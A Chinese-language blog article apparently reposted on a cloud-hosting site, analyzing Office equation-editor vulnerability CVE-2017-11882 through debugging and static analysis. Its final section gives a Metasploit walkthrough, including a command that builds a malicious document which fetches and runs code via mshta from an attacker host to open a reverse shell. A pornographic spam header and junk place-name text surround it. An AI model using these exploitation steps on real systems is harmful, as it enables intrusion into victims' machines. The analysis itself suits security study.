亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么進行CVE-2017-11882分析

發布時間:2021-12-28 19:49:41 來源:億速云 閱讀:200 作者:柒染 欄目:安全技術

怎么進行CVE-2017-11882分析,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。

前言

其實說到office釣魚,那就肯定少不了CVE-2017-11882,這個漏洞是我去年分析APT組織蔓靈花的樣本的時候遇到的,自己也一直沒有深入學習和研究這個漏洞,現在有點時間了來分析學習一下,因為此漏洞是很多知名APT組織像蔓靈花、白象、摩訶草、響尾蛇等發起攻擊時的開山利器,并且研究此漏洞也不需要by pass DEP和ASLR等保護機制,漏洞利用起來也不算復雜.

漏洞介紹

CVE-2017-11882是微軟公布的一個遠程代碼執行漏洞,漏洞是由模塊EQNEDT32.EXE公式編輯器引起,該模塊在Office的安裝過程中被默認安裝,該模塊以OLE技術(Object Linking and Embedding,對象鏈接與嵌入)將公式嵌入在Office文檔內。漏洞產生原因是公式編輯器EQNEDT32.EXE(路徑C:\Program Files\Common Files\microsoft shared\EQUATION)讀入包含MathType的OLE數據,在拷貝公式字體名稱時沒有對名稱長度進行校驗,使得攻擊者可以通過刻意構造的數據內容覆蓋棧上的函數返回地址,造成棧緩沖區溢出,劫持程序執行流程,執行自己的惡意代碼,又因為插入和編輯數學公式時,EQNEDT32.EXE并不會被作為Office進程的子進程創建,而是以單獨的進程形式存在。所以Office進程的保護機制也無法保護EQNEDT32.EXE這個進程被利用。從漏洞利用效果來看,它可以通殺Office 2003到2016的所有版本。

漏洞分析環境及工具

  1. Win7 x64

  2. Office 2003

  3. IDA

  4. OllyDbg

  5. MSF

漏洞分析

安裝office

我使用的是 Office 2003(需要完全安裝),我們完全安裝后,可以通過下圖查看是否都完全安裝,菜單-》插入-》對象-》看是否有Microsoft 公式 3.0,如果沒有說明安裝的不是完整版。
office 2003完整版鏈接:https://pan.baidu.com/s/1O7BsRE4YQQLvWOWYikGz6Q 提取碼:g0dh
怎么進行CVE-2017-11882分析

查看漏洞文件

我們可以按照以下路徑找到產生漏洞的程序,exeinfo信息顯示該程序使用VC++編寫。
怎么進行CVE-2017-11882分析
怎么進行CVE-2017-11882分析

POC驗證漏洞

環境搭建好了,我們就可以使用POC來簡單驗證一下漏洞,打開exploit.rtf可發現沒有任何提示直接彈出了計算器,說明驗證成功存在漏洞。
彈計算器漏洞POC:https://github.com/Ridter/CVE-2017-11882
怎么進行CVE-2017-11882分析

詳細分析

因為我們打開POC時彈出了計算器,就表明創建了新的進程,創建新進程的API我們可以猜測是WinExec或者CreateProcess。這樣我們就可以使用OD附加EQNEDT32.EXE,然后下API斷點來進行動態調試。
我們先打開EQNEDT32.EXE然后使用OD附加上此進程。
怎么進行CVE-2017-11882分析然后我們下API斷點,命令:BP WinExec,然后打開POC文件,程序成功斷下,堆棧中顯示的內容說明我們斷的位置是正確的。
怎么進行CVE-2017-11882分析在上圖中的堆棧中我們可以看出,WinExec的返回地址是00430C18,參數是0018F354,參數的內容是通過cmd命令來開啟計算器。

此時的00430C12是用戶態地址,按道理來說,ebp應該存放當前函數的返回地址,但是卻顯示的是41414141,很明顯ebp已經被破壞了,由于此時的堆棧已經被構造的惡意shellcode破壞,所以我們往堆棧上面看看ebp是在哪里被破壞的。

找到了一個最近的返回地址00411837,我們回車進入往上翻,在函數的開頭部分設置一個斷點,重新運行,讓程序斷在這個函數內。
怎么進行CVE-2017-11882分析程序斷下
怎么進行CVE-2017-11882分析我們F8單步運行,在00411658的地方發現這樣一條指令:rep movsd dword ptr es:[edi], dword ptr [esi]該指令執行完之后,ebp就被41414141覆蓋而該指令的功能是將esi的值傳送到edi所指的位置。
怎么進行CVE-2017-11882分析我們分別查看一下在執行上一條命令之前esi和edi的內容:

ESI:
怎么進行CVE-2017-11882分析EDI:
怎么進行CVE-2017-11882分析rep movsd dword ptr es:[edi], dword ptr [esi]執行完之后,EDI被成功賦值,可以看到,此時ebp所在的值已經從0018F214變成了41414141,ebp后面的返回地址已經從004115d8更改為了00430c12

怎么進行CVE-2017-11882分析00430C12的地址
怎么進行CVE-2017-11882分析過來執行WinExec函數之后,在WinExec函數內部又調用了CreateProcess函數。打斷點可看到函數的參數,也就是參數為調用cmd彈出計算器

怎么進行CVE-2017-11882分析我們通過動態調試已經知道了漏洞產生的位置是在00411658處,我們接下來使用靜態分析。我們使用IDA打開EQNEDT32.EXE,然后跳轉到00411658地址
怎么進行CVE-2017-11882分析為了方便分析我們F5查看以下偽代碼,哦~,學過C語言的同學應該一看就明白了,就是我們使用了不安全版的strcpy函數,沒有對參數的長度進行判斷和限制,從而導致了棧溢出。
怎么進行CVE-2017-11882分析POC內容詳情
怎么進行CVE-2017-11882分析至此,漏洞的大致分析已經完成。

使用MSF利用漏洞

python腳本下載鏈接:https://github.com/Ridter/CVE-2017-11882

怎么進行CVE-2017-11882分析
msf組件下載:https://github.com/0x09AL/CVE-2017-11882-metasploit

怎么進行CVE-2017-11882分析把上面下載的cve_2017_11882.rb文件復制到/usr/share/metasploit-framework/modules/exploits/windows/smb/目錄下

怎么進行CVE-2017-11882分析把下載的cve_2017_11882.rtf放到/usr/share/metasploit-framework/data/exploits/

怎么進行CVE-2017-11882分析重新加載模塊。
怎么進行CVE-2017-11882分析使用命令search cve_2017_11882 查找對應的模塊,然后use exploit/windows/smb/cve_2017_11882設置payload為反彈tcp,設置各項參數,lhost為kali的IP,使用命令set URIPATH test設置URI的路徑(注意這里設置的路徑test,下面使用python腳本生成doc的時候也要加上這個路徑)
怎么進行CVE-2017-11882分析運行,exploit -j

怎么進行CVE-2017-11882分析另外打開一個終端,把Command109b_CVE-2017-11882.py復制到kai liunx桌面,cd到桌面,運行命令python Command109b_CVE-2017-11882.py -c "mshta http://192.168.62.129:8080/test" -o test2.doc 生成惡意doc文件
怎么進行CVE-2017-11882分析復制文件到目標機打開

怎么進行CVE-2017-11882分析返回攻擊機kai liunx,看到被攻擊機器已經上線

怎么進行CVE-2017-11882分析然后就可以進行我們的傳統手藝了~~~
怎么進行CVE-2017-11882分析

看完上述內容,你們掌握怎么進行CVE-2017-11882分析的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

清徐县| 曲阜市| 印江| 阳高县| 深圳市| 万安县| 三亚市| 新田县| 太仆寺旗| 故城县| 冕宁县| 岳西县| 柏乡县| 金溪县| 庆阳市| 右玉县| 咸丰县| 离岛区| 化隆| 新邵县| 威信县| 额尔古纳市| 竹北市| 黑河市| 土默特右旗| 唐河县| 克东县| 托克托县| 漠河县| 辽中县| 建平县| 皮山县| 博罗县| 廊坊市| 若尔盖县| 江西省| 芮城县| 班戈县| 宁化县| 军事| 漳州市|